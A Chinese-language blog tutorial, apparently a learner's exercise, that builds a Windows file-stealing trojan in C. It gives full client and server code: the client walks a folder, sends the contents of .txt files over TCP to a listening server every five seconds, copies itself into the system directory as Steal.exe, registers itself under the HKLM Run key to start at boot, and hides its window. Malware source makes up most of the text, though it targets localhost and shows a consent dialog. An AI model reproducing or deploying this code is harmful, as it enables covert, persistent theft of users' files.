前言

socket的基础语法看过了,但是要说掌握那也是没掌握住~往下看用到再补。


正文

当然基础的截取,肯定先知道ip地址,然后权限开放程度高点。

1
2
3
4
5
6
int main(){
printf("Steal start!\n");
DoSteal("E:\\mysdk\\");

return 0;
}

“E:/mysdk”,使用反斜杠的做法同样有效,似乎是起源于unix写法,linux也很好的传承了,比如/etc/hosts之类的,而双斜杠自然是为了转译,毕竟单斜杠就会转译后面的字符了,如果是中文那才是真的gg。


客户端

能够多次使用,就做一个函数,传递的自然是文件路径,就用字符串,为了保证不被修改,加上const修饰

1
2
3
4
5
6
7
8
int DoSteal(const char *filePath){
//遍历文件
WIN32_FIND_DATA FindFileData; //表示文件,记不住留印象下次翻文档
HANDLE hListFile; //文件以句柄表示

//首先找到第一个匹配的文件,借助windows api
char searFilePath[MAX_PATH]; //注:MAX_PATH是一个宏,值为260
}

善用工具和文档,可以节省一些问题。

1
2
3
4
5
6
7
8
9
10
11
int DoSteal(const char *filePath){
//遍历文件
WIN32_FIND_DATA FindFileData; //表示文件,记不住留印象下次翻文档
HANDLE hListFile; //文件以句柄表示

//首先找到第一个匹配的文件,借助windows api
char searFilePath[MAX_PATH] = {0}; //注:MAX_PATH是一个宏,值为260
strcpy(searFilePath, filePath); //先将传入的文件路径拷贝下来
strcat(searFilePath, "\\*"); //再加上一个通配符,*代表全部
FindFirstFile((LPCTSTR)searFilePath, &FindFileData);
}

searFilePath毕竟是char类型,要么强转,要么修改项目字符类型为多字节吧。

然后这边编译器其实会对strcpy和strcat报错,原因在于vs认为这俩函数不安全,建议你用_s的函数,但是这里不考虑这么搞,就强制取消对这个

4996问题报错,把它关了。

然后在编译就没啥问题了。

额,这边后面有报错字符类型转换问题,那干脆还是修改项目字符类型为多字节吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int DoSteal(const char *filePath){
//遍历文件
WIN32_FIND_DATA FindFileData; //表示文件,记不住留印象下次翻文档
HANDLE hListFile; //文件以句柄表示

//首先找到第一个匹配的文件,借助windows api
char searFilePath[MAX_PATH] = {0}; //注:MAX_PATH是一个宏,值为260
strcpy(searFilePath, filePath); //先将传入的文件路径拷贝下来
strcat(searFilePath, "\\*"); //再加上一个通配符,*代表全部
hListFile = FindFirstFile(searFilePath, &FindFileData);

//循环遍历,毕竟是通配符*
do {
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, filePath); //copy路径
strcat(mypath, FindFileData.cFileName); //将其文件名拼接到路径后面
printf("mypath = %s\n",mypath);
} while (FindNextFile(hListFile,&FindFileData)); //FindNextFile返回值NULL则表示结束

return 0;
}

然后跑一遍

看到结果是正常的。

路径显示正常了,就需要读出单个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int DoSteal(const char *filePath){
//遍历文件
WIN32_FIND_DATA FindFileData; //表示文件,记不住留印象下次翻文档
HANDLE hListFile; //文件以句柄表示

//首先找到第一个匹配的文件,借助windows api
char searFilePath[MAX_PATH] = {0}; //注:MAX_PATH是一个宏,值为260
strcpy(searFilePath, filePath); //先将传入的文件路径拷贝下来
strcat(searFilePath, "\\*"); //再加上一个通配符,*代表全部
hListFile = FindFirstFile(searFilePath, &FindFileData);

//循环遍历,毕竟是通配符*
do {
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, filePath); //copy路径
strcat(mypath, FindFileData.cFileName); //将其文件名拼接到路径后面

if (strstr(mypath, ".txt")){
SendtoServer(mypath);
printf("mypath = %s\n", mypath);
}


} while (FindNextFile(hListFile,&FindFileData)); //FindNextFile返回值NULL则表示结束

return 0;
}

调用自定义函数,估计也要通过c/s模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int SendtoServer(const char *_mypath){
//*初始化网络库
WORD wVersionRequested;
WSADATA wsaData;
int err;

wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0){
printf("WSAStartup errorNum = %d\n", GetLastError());
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2){
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
return -1;
}

//构造socket对象
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sockCli){
printf("socket errorNum = %d\n", GetLastError());
return -1;
}

//配置要连接的服务器
SOCKADDR_IN addrSer;
addrSer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); //本机ip地址测试
addrSer.sin_family = AF_INET; //ipv4
addrSer.sin_port = htons(6000); //端口号


//连接服务器
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR *)&addrSer, sizeof(SOCKADDR))){
printf("connect errorNum = %d\n", GetLastError());
return -1;
}


//读取文件内容
char sendBuf[1024] = { 0 }; //尽量调合适大小,避免缓冲区溢出
FILE *fp = fopen(_mypath, "rb");
int len = fread(sendBuf, 1, 1024, fp);
fclose(fp);


//发送数据
int iLen = send(sockCli, (char *)sendBuf, 100, 0);
if (iLen < 0){
printf("send erroNum = %d\n", GetLastError());
return -1;
}


//关闭套接字
closesocket(sockCli);
WSACleanup();
return 0;
}

与之前tcp客户端不同的是此处不需要接受数据,因为传递是通过形参的。


完整的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")


int SendtoServer(const char *_mypath){
//*初始化网络库
WORD wVersionRequested;
WSADATA wsaData;
int err;

wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0){
printf("WSAStartup errorNum = %d\n", GetLastError());
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2){
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
return -1;
}

//构造socket对象
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sockCli){
printf("socket errorNum = %d\n", GetLastError());
return -1;
}

//配置要连接的服务器
SOCKADDR_IN addrSer;
addrSer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); //本机ip地址测试
addrSer.sin_family = AF_INET; //ipv4
addrSer.sin_port = htons(6000); //端口号


//连接服务器
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR *)&addrSer, sizeof(SOCKADDR))){
printf("connect errorNum = %d\n", GetLastError());
return -1;
}

//收发数据,对比服务器,客户端应是先收后发
//char recvBuf[100] = { 0 };
//int iLen = recv(sockCli, recvBuf, 100, 0);
//printf("recvBuf = %s\n", recvBuf);

//读取文件内容
char sendBuf[1024] = { 0 }; //尽量调合适大小,避免缓冲区溢出
FILE *fp = fopen(_mypath, "rb");
int len = fread(sendBuf, 1, 1024, fp);
fclose(fp);


//发送数据
int iLen = send(sockCli, (char *)sendBuf, 100, 0);
if (iLen < 0){
printf("send erroNum = %d\n", GetLastError());
return -1;
}


//关闭套接字
closesocket(sockCli);
WSACleanup();
return 0;
}

int DoSteal(const char *filePath){
//遍历文件
WIN32_FIND_DATA FindFileData; //表示文件,记不住留印象下次翻文档
HANDLE hListFile; //文件以句柄表示

//首先找到第一个匹配的文件,借助windows api
char searFilePath[MAX_PATH] = {0}; //注:MAX_PATH是一个宏,值为260
strcpy(searFilePath, filePath); //先将传入的文件路径拷贝下来
strcat(searFilePath, "\\*"); //再加上一个通配符,*代表全部
hListFile = FindFirstFile(searFilePath, &FindFileData);

//循环遍历,毕竟是通配符*
do {
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, filePath); //copy路径
strcat(mypath, FindFileData.cFileName); //将其文件名拼接到路径后面

if (strstr(mypath, ".txt")){
SendtoServer(mypath);
printf("mypath = %s\n", mypath);
}


} while (FindNextFile(hListFile,&FindFileData)); //FindNextFile返回值NULL则表示结束

return 0;
}


int main(){
printf("Steal start!\n");
DoSteal("E:/mysdk/");

return 0;
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#define MAX_SIZE 1024

//console error tips
void ErrorHanding(const char *_msg){
fputs(_msg, stderr);
fputc('\n', stderr);
exit(1);
}

int main(){
//初始化网络库
WORD wVersionRequested;
WSADATA wsaData;
int err;
char msg[MAX_SIZE] = { 0 };

wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0){
ErrorHanding("WSAtartup error!");
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2){
ErrorHanding("LOBYTE error!");
WSACleanup();
return -1;
}

//构造socket
SOCKET sockSer = socket(PF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sockSer){
ErrorHanding("socket error!");
}

//填充参数
SOCKADDR_IN addrSer;
addrSer.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrSer.sin_family = AF_INET; //ipv4
addrSer.sin_port = htons(6000); //端口号

//绑定
if (SOCKET_ERROR == bind(sockSer, (SOCKADDR *)&addrSer, sizeof(SOCKADDR))){
ErrorHanding("bind error");
}

//监听
if (SOCKET_ERROR == listen(sockSer, 5)){
ErrorHanding("listen error");
}

//循环接收
SOCKADDR_IN addCli;
int cliSize = sizeof(SOCKADDR_IN);
SOCKET cliSock;
int strLen = 0;

while (true){
cliSock = accept(sockSer, (SOCKADDR *)&addCli, &cliSize);
if (INVALID_SOCKET == cliSock){
ErrorHanding("accept error!");
}

memset(msg, 0, MAX_SIZE);

while ((strLen = recv(cliSock,msg,MAX_SIZE,0)) != 0){
printf("server msg:%s\n", msg);
}
closesocket(cliSock);
}

//over closesocket
closesocket(sockSer);
WSACleanup();

return 0;
}

也是稍微做了一些优化

1
2
3
4
5
6
//console error tips
void ErrorHanding(const char *_msg){
fputs(_msg, stderr);
fputc('\n', stderr);
exit(1);
}

像这种处理错误的时候,每次提示错误,return -1也麻烦,干脆封装到函数里。


测试

先调整一下客户端,做一个持续延时发送

1
2
3
4
5
6
7
8
9
10
int main(){
printf("Steal start!\n");

while (true){
DoSteal("E:/mysdk/");
Sleep(5000);
}

return 0;
}

然后先跑到debug文件夹启动服务器
在vs中跑客户端程序

可以看到持续发送之后,因为文件夹里面就放了一个.txt文件,所以一直都是读取这个文件。

然后可以多创几个txt试试

现在一共三个.txt文件,然后在循环跑出其中的内容。

中文乱码跟文件编码有关系,txt默认可能是utf-8,然后vs的项目我也忘看改成啥了多字节还是Unicode,倒不是啥大问题,通信正常就行。

算了还是改一下吧,将项目修改成多字节,然后文件另存为的时候可以修改编码,或者你有notepad的话可以直接改,记事本好像只能另存为的时候改。

改完之后再跑一次

可以看到没问题,中文显示正常。

printf可能会有缓冲的问题,可能表现在打印很多次之后会卡住一会。
那么则可能要用puts之类直接打印字符串的。虽然都差不多。目前是不关注了。

1、不同的换行符
puts()函数会自动在字符串末尾添加一个换行符,这意味着它会自动换行,而printf()函数没有此功能。
2、输出内容不同
puts()函数只能输出字符串,不能对输出和转换指令进行标准化,而printf()函数可以。


隐藏和自启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void AddToSystem(){
HKEY hkey; //key
char currenPath[MAX_PATH] = { 0 }; //路径
char systemPath[MAX_PATH] = { 0 }; //系统路径
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //注册表自启动目录

GetSystemDirectory(systemPath, size);
GetModuleFileName(NULL, currenPath, size);

//copy file
FileCurrentName = currenPath;
FileNewName = lstrcat(systemPath, "\\Steal.exe"); //写入注册表这个程序的名称
struct _finddata_t Steal;
printf("ret1 = %d\n", ret);
if (_findfirst(FileNewName, &Steal) != -1)
return; //已安装
printf("ret2 = %d\n", ret);

int ihow = MessageBox(0,
"该程序只允许用于合法的用途!\n 继续运行该程序将使得这台电脑处于被监控状态,\n 如果您不想这样,请点击\'取消\'按钮推出。\n 按下\'是\'则该程序将被复制到您的机器上 \
\ 并随着系统启动自动运行。\n 按下\'否\'则程序只运行一次,不会再您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);

if (ihow == IDCANCEL){
exit(0);
}

if (ihow == IDNO){
return; //则只运行一次
}

//复制文件
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret){
return;
}

//加入注册表 需要管理员打开,不然没权限无法写入
printf("ret = %d\n", ret);
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hkey);
if (ret != ERROR_SUCCESS){
RegCloseKey(hkey);
return;
}

//Set Key
ret = RegSetValueEx(hkey, "Steal", NULL, type, (const unsigned char *)FileNewName, size);
if (ret != ERROR_SUCCESS){
RegCloseKey(hkey);
return;
}

//最终仍需手动关闭
RegCloseKey(hkey);
}

这个写进注册表的真的是又臭又长。。。说白了还是不会用直接抄。

编译后记住要管理员启动才能到那一步,不然权限不够。

1
2
3
4
5
void HideMyself(){
//首先拿到当前窗口的句柄
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}

隐藏就比较直接,通过获取当前窗口句柄,直接调用现成的隐藏掉。

可以看到先开服务器之后,客户端启用直接闪烁就隐藏了,连接的消息还是在持续发送的一个状态。


结语

  1. 文件遍历,能够第一时间想起WIN32_FIND_DATA结构体
  2. WIN32_FIND_DATA包含了文件名和文件信息,创建时间,访问时间等
  3. 句柄——指针 用来表示windows下的一些对象
  4. MAX_PATH 预定义的宏,260
  5. 禁用特定警告,比如没有使用_s的安全函数
  6. 隐藏窗口其实挺好记的,注册表这个要多用或者查查文档,感觉也没必要死记硬背